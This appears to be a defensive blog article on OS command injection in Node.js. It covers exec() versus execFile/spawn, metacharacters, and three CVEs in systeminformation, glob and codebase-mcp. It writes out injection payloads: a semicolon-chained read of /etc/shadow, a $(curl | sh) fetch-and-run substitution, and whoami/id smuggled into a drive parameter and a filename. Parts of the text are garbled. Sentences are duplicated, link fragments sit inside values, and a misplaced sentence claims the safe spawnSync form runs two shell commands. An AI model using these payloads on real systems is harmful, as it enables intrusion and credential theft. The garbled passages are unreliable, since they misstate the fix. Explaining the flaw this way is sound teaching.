OS Command Injection Through Shell Invocation in Node.js

Shell syntax in user input gets parsed as commands, not safely passed as data.

Contributing Editor · · 10 min read
Cover illustration for “OS Command Injection Through Shell Invocation in Node.js”
Injection Flaws · October 1, 2026 · 10 min read · 2,344 words

A diagnostic endpoint takes a hostname from a user and runs ping -c 1 ${destination} through child_process.exec(). It looks harmless. The template literal reads like a typed string, the kind any IDE would highlight in green, and the code compiles and runs exactly as expected on the happy path. But at runtime, that template literal behaves exactly like string concatenation: whatever the user typed gets fused directly into the command string before anything is executed.

exec() does not run ping directly. It hands the entire string to a system shell, /bin/sh -c on Unix or cmd.exe on Windows, and that shell is what actually launches the binary. SecureFlag's Node.js documentation states that exec spawns a shell, then runs the command inside that shell, and unsanitized user input should never reach this function.

A shell is a parser, built to read a string of text and find meaning in it: commands, arguments, separators, redirections. When a developer writes ping -c 1 ${destination}, they mean "run the ping program with one argument." The shell doesn't see intent. It sees a line of syntax, and it will happily find more than one command hiding inside that string if the input allows for it. That gap between what the developer means and what the shell parses is the root of the entire vulnerability class this piece is about.

Wrapping the user input in single quotes inside the template literal doesn't fix this. The shell still interprets metacharacters that can break out of quoted context, so quoting alone isn't a real defense. The fix has to happen at a structural level, not a cosmetic one, which is what the rest of this piece works through.

How the shell parser handles metacharacters

Once a string reaches the shell through -c, the shell applies its full grammar to it. A semicolon ends one command and starts the next. A pipe takes the output of one process and feeds it into another. && runs a second command only if the first succeeded; || runs it only if the first failed. Backticks and $(…) trigger command substitution: the shell runs whatever is inside them first and swaps in the result before the outer command even begins. Redirection operators like > and >> route output to files instead of the screen. A 2026 breakdown from AppSec Brief catalogs this full set: separators, success and failure chains, pipes, substitution, newline separators in some shells, and redirection. None of these are edge cases. They're core shell syntax, present in every standard implementation, waiting for any string that reaches -c.

Apply that to the ping endpoint. An input of 8.8.8.8; cat /etc/shadow doesn't break the ping command. It ends it cleanly at the semicolon and starts a second one. The shell runs ping -c 1 [8.8](https://www.graphnodesoftware.com/blog/command-injection).8.8, which succeeds and returns normal-looking output, and then runs cat /etc/shadow right after it, in the same breath. The application's response looks completely normal because the ping did succeed. Nothing in the visible output signals that a second, unrelated command also ran and returned its own result somewhere in the process. The legitimate command masks the presence of the illegitimate one, which makes this bug easy to miss in testing.

Command substitution turns this from a read primitive into something far worse. Swapping the injected payload for $(curl | sh) makes the shell fetch a remote script and execute it immediately, with no additional steps required. What started as a way to read a password file becomes a way to install and run arbitrary code pulled from a remote server, all inside the same single request.

The commands that run this way carry the same permissions as the Node.js process itself. Whatever files that process can read, whatever it can write, whatever network connections it can open, an attacker can do the same, using the process as a proxy. A process running with broad file-system access or an open path to internal services turns a single unvalidated string parameter into a foothold across the rest of the system. This is why the vulnerability class recurs in serious, disclosed CVEs, not just as a theoretical warning.

Three recent CVEs that show how this plays out in real libraries

The pattern above isn't a hypothetical built for a blog post. Three recent, disclosed vulnerabilities in real, maintained, widely used Node.js libraries make the shape of the problem concrete.

The first is CVE-2025-68154, found in the systeminformation package before version 5.27.14, affecting Windows specifically. The fsSize() function builds a PowerShell command string and concatenates a user-supplied drive parameter directly into it, with no escaping. Supply a drive value of C:;whoami and the resulting PowerShell string runs the legitimate query and the injected whoami command back to back. More advanced payloads reach further: data exfiltration, or installing a backdoor that persists after the initial request ends. The flaw scored 8.1 (High) and was patched in version 5.27.14. The library documented the drive parameter as optional, but optionality has nothing to do with exploitability once that parameter comes from outside the application's control.

The second is CVE-2025-64756, in the glob CLI, affecting versions 10.3.7 through 11.0.3. The CLI's -c or --cmd option runs a shell command against every file a glob pattern matches, with shell: true enabled, so matched filenames are passed straight into shell interpretation. A file simply named foo.txt; id is enough: the shell runs the intended command against that file and then runs id right after it. The entry point here is a filename, not a URL parameter or a form field. It's a filename, something that can arrive through a file upload, a repository checkout, or any process that touches user-generated content. glob sees over 79 million weekly downloads and sits inside a huge number of build tools, so the exposure runs widest in CI/CD pipelines that process uploaded files or third-party repository contents. The issue, classified as CWE-78, was patched in version 11.1.0.

The third is CVE-2026-5023, in codebase-mcp, a RepoMix command handler built by DeDeveloper23. The functions getCodebase, getRemoteCodebase, and saveCodebase concatenate user-supplied parameters directly into command strings without escaping shell metacharacters or using parameterized execution, classified as CWE-77. Exploiting it requires local access, but once triggered it allows arbitrary OS command execution with the privileges of the codebase-mcp process, which opens the door to lateral movement across a system. As of the source date (2026-03-30), no official patch had been released, and the project maintainers had not yet responded to the disclosure.

Three different libraries, three different entry points, one drive parameter, one filename, one command handler, and the same underlying mechanism in each case: user input concatenated into a string, handed to a shell, parsed as syntax instead of treated as data.

Why the bug survives switching away from exec()

A developer who already knows not to use exec() with unsanitized input might assume the danger ends there. It doesn't, and the reason why is worth being precise about.

execFile() and spawn() both carry a shell option, and it defaults to false. Left alone, that default removes the shell from the picture and makes these functions safe. But setting { shell: true }, whether on purpose or by copying a pattern from somewhere else, brings the shell straight back into the process and reopens the exact vulnerability the switch was supposed to close. SecureFlag's documentation states that if the shell option is enabled on execFile or spawn, unsanitized user input must be kept away from it just as it must be with exec. The argument array these functions accept is safe only when the shell stays out of the loop.

A second, quieter cause sits at the boundary between application code and operations scripting. Shell-out patterns tend to live in places nobody reviews as closely as the main application logic, deployment scripts, build steps, internal tooling, anywhere a developer is moving fast and just needs to run a command. A script that interpolates a branch name, a filename, or a config value reaches the exact same shell a public-facing endpoint would, but it rarely gets the same scrutiny a user-facing form field gets, simply because it doesn't feel like user input.

The one-string API convenience of exec() means it appears first in tutorials and documentation examples, so it is the function developers reach for when they first need to shell out, and the habit persists even when they know the alternative exists. It's the function developers reach for the first time they need to shell out, and the habit doesn't disappear just because they later learn execFile() exists. Old code keeps running. New code gets written by copying old code. The fix requires more than knowledge, it requires actually going back and finding every place the pattern was used.

How execFile() and spawn() eliminate the shell invocation path

The fix follows directly from the mechanics already laid out. The fix is to stop handing the shell a string, since the danger comes from handing it a single string that it parses.

execFile() calls the operating system's process-creation function directly, using a binary path and a list of arguments, with no shell sitting in between. Because there's no parser in the loop, a semicolon or a pipe character inside an argument is delivered to the target program as a literal character in a string, not as an instruction. The program never sees a command separator. It sees the exact text the user typed, nothing more.

SecureFlag's documentation gives the canonical before-and-after for this exact ping example. The dangerous version reads execSync(ping -c 1 '${destination}'); at runtime it is identical to string concatenation, fusing the variable's contents into the string before the shell receives it. The fixed version reads spawnSync('ping', ['-c', '1', destination]). In the second form, destination is always passed to ping as a single, self-contained argument, no matter what characters it contains. Input of 8.8.8.8; cat /etc/shadow produces two sequential shell commands: the ping succeeds and returns output, masking the fact that the second command also ran. It gets passed whole, as one string, to a program that expects a hostname and will simply fail to resolve that string as one, rather than interpreting the semicolon as an instruction.

The graphnodesoftware analysis of the same pattern lays out the complete fix for the original vulnerable line. Replace exec(ping -c 1 ${hostname}) with execFile('ping', ['-c', '1', '--', hostname], { timeout: [5000](https://www.graphnodesoftware.com/blog/command-injection) }, callback), and validate the hostname against net.isIP() before the process is ever spawned. Three separate things are happening in that one line. The command runs without a shell. And a timeout is set, so a hung process can't tie up resources indefinitely.

The -- in that argument list is a small detail that closes a second, related hole. It tells the target binary that everything after it is a positional argument, not a flag, which stops a value that happens to start with a dash from being read as a command-line option instead of as data. It's a narrow fix for a narrow variant of the same underlying problem: user input being interpreted as something other than plain data.

The general rule holds regardless of how many inputs a command takes: every user-controlled value belongs in its own array element, never built into a string through concatenation or a template literal, even when the command involves several inputs at once. And in plenty of cases, there's no need to spawn an external process in the first place. A DNS lookup can go through Node's own dns module instead of shelling out to a tool like dig. The safest shell invocation is the one that never happens, because a process that's never spawned can't be hijacked.

Input validation as a second layer, not a substitute for the structural fix

Switching to execFile() or spawn() with an argument array removes the shell from the equation, and that's the real fix. Input validation sits on top of that fix. It doesn't replace it.

The reason to validate anyway is about what happens later, not what happens today. Code gets refactored. A new contributor adds a feature and, without realizing the history behind the original design, reintroduces a shell call somewhere nearby. Allowlist validation, checking input against the narrowest pattern that still does the job, means that even if a shell path gets reintroduced by accident months or years later, the input reaching it has already been stripped of anything a shell could parse as syntax.

AppSec Brief's 2026 prevention guidance applies this directly to the hostname example: check the input against a pattern that allows only letters, numbers, dots, and hyphens, and reject anything that doesn't match before the value ever reaches a subprocess call. That validation step guards against future code changes, not just the current, already-fixed code path.

The systeminformation fix shows the same principle applied at the library level. Rather than trying to sanitize or escape a potentially dangerous drive parameter, the recommended approach only accepts known-safe values, drive letters like C: or D:, and rejects anything outside that fixed set. An allowlist of valid values is far easier to reason about and far harder to get wrong than trying to anticipate every dangerous character an attacker might try.

That's the deciding factor between allowlists and blocklists as a strategy. A blocklist, stripping or escaping specific characters like semicolons or pipes, fails because the full set of characters a shell might treat as syntax is larger than most developers expect, and it varies across shell implementations. Encoding tricks can also reintroduce a stripped character after the sanitization step has already run. An allowlist sidesteps all of that by only ever permitting a known-good shape of input, rather than trying to chase every possible bad one.

Node.js doesn't provide a built-in, reliable shell-escaping mechanism developers can lean on for this. Node.js provides no built-in, reliable shell-escaping mechanism, so the structural fix, moving off the shell entirely through execFile() and spawn() with argument arrays, carries the real weight, with allowlist validation layered on top as a second line of defense rather than the primary one.

Sources

  1. CVE-2026-5023: codebase-mcp OS Command Injection RCE Flaw
  2. OS Command Injection in NodeJS
  3. Glob CLI CVE-2025-64756 Command Injection: Brief Summary and Technical Review - ZeroPath Blog
  4. OS Command Injection Explained: shell=True in 2026
  5. Command Injection: Shell Escape to Code Execution
  6. CVE-2025-68154: Critical OS Command Injection in Node.js systeminformation Library
Filed underInjection Flaws

More in Injection Flaws